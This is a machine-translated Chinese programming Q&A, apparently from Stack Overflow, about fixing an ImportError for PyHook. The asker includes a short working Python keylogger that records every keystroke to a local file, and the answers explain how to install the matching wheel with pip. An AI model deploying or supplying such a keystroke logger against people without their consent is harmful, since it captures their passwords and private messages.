如何下载PyHook模块

时间:2016-08-10 18:21:18

标签: python python-2.7

我曾尝试安装PyHook但我仍然收到错误:

  

ImportError:没有名为'pyhook'的模块

请给我一个解决方案。我该如何解决这个错误。

我正在制作一个关键记录程序。

**code:**
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'YOURNAME-keylog.txt'
def OnKeyboardEvent(event):
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')
    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Please refer screenshot for error

2 个答案:

答案 0 :(得分:2)

首先检查你正在运行哪个python版本,在我输入python的情况下我会看到:

  

Python 2.7.11(v2.7.11:6d1b6a68f775,2015年12月5日,20:40:30)[MSC v.1500 64 bit(AMD64)] on win32

这意味着我需要为python 2.7安装64位版本,最简单的方法是下载pyhook package from this website,然后将其保存在virtualenv目录中(如果你正在使用一个)或只是在你的python文件夹中。然后打开命令提示符并转到已下载包的路径,然后输入pip install the_name_of_your_package.whl,例如,如果您正在运行python 2.7 64位,则键入:

  

pip install pyHook-1.5.1-cp27-none-win_amd64.whl

正确安装后,您的脚本应该可以正常运行。

答案 1 :(得分:0)

第一个。如果你想要PyHook你必须自己下载它,因为它不是python附带的标准python library的一部分。我有办法安装它。但我推荐的方式是:

<强> 1 即可。从this页面下载PyHook。 确保获得与您的python版本和您的位数(32或64)相匹配的下载

<强> 2 即可。接下来在命令提示符/终端窗口中键入:

  

pip install [.whl文件的完整路径和名称]

此命令告诉pip安装PyHook for。在我的情况下,我打字:

  

pip install C:\ pyHook-1.5.1-cp35-none-win_amd64.whl`

执行此操作后,您的脚本应该运行没有任何问题。如果您在使用此方法时遇到任何问题,请检查您是否安装了正确版本的python和正确的位号。